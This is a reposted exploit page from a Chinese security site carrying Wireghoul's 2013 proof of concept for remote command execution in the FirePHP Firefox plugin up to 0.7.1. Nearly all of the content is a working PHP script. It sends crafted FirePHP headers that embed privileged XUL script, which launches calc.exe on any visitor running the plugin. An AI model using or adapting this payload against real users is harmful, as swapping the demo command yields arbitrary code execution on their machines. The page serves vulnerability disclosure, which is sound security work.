首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FirePHP Firefox Plugin 0.7.1 - Remote Command Execution
来源:http://www.justanotherhacker.com 作者:Wireghoul 发布时间:2013-04-22  

# Exploit Title: Firephp firefox plugin RCE
# Date: 17/04/2013
# Exploit Author: Wireghoul
# Vendor Homepage: www.firephp.org
# Software Link:
https://addons.mozilla.org/en-US/firefox/addon/firephp/versions/
# Version: All versions up to and including 0.7.1
# Tested on: Windows 7
# Advisory: http://www.justanotherhacker.com/advisories/JAHx132.txt

<?php
/*************************************************************
 * FirePHP Firefox plugin RCE PoC                            *
 * Written by Wireghoul - http://www.justanotherhacker.com   *
 * Greetz to @bcoles urbanadventurer @malerisch              *
 *************************************************************/

// XUL code to launch calc.exe
$exploit =  '{"RequestHeaders":{"1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","UR<script>';
$exploit.= 'var lFile=Components.classes[\"@mozilla.org/file/local;1\"].createInstance(Components.interfaces.nsILocalFile);';
$exploit.= 'lFile.initWithPath(\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\calc.exe\");';
$exploit.= 'var process=Components.classes[\"@mozilla.org/process/util;1\"].createInstance(Components.interfaces.nsIProcess);';
$exploit.= 'process.init(lFile);';
$exploit.= 'process.run(true,[],0);void(0);';
$exploit.= '<\/SCRIPT>":"PWNT"}}';

// Send FirePHP dump data
header("X-Wf-Protocol-1: http://meta.wildfirehq.org/Protocol/JsonStream/0.2");
header("X-Wf-1-Plugin-1: http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3");
header("X-Wf-1-Structure-1: http://meta.firephp.org/Wildfire/Structure/FirePHP/Dump/0.1");
$payload= "X-Wf-1-1-1-1: ";
$payload.= strlen($exploit).'|'.$exploit."|\r\n";
header($payload);
?>
<html>
<head>
  <title>FirePHP Firefox plugin RCE PoC</title>
</head>
<body>
PWNT!
</body>
</html>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Netgear DGN2200B pppoe.cgi Rem
·Java Applet Reflection Type Co
·MinaliC Webserver 2.0.0 Buffer
·iOS 6.0-6.1.3 MobileSafari Cra
·Mikrotik Syslog Server Remote
·Mikrotik Syslog Server for Win
·TP-LINK TL-WR741N / TL-WR741ND
·GroundWork monarch_scan.cgi OS
·SAP ConfigServlet OS Command E
·SAP ConfigServlet Remote Unaut
·Free Float FTP Server USER Com
·Windows Light HTTPD 0.1 - Buff
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved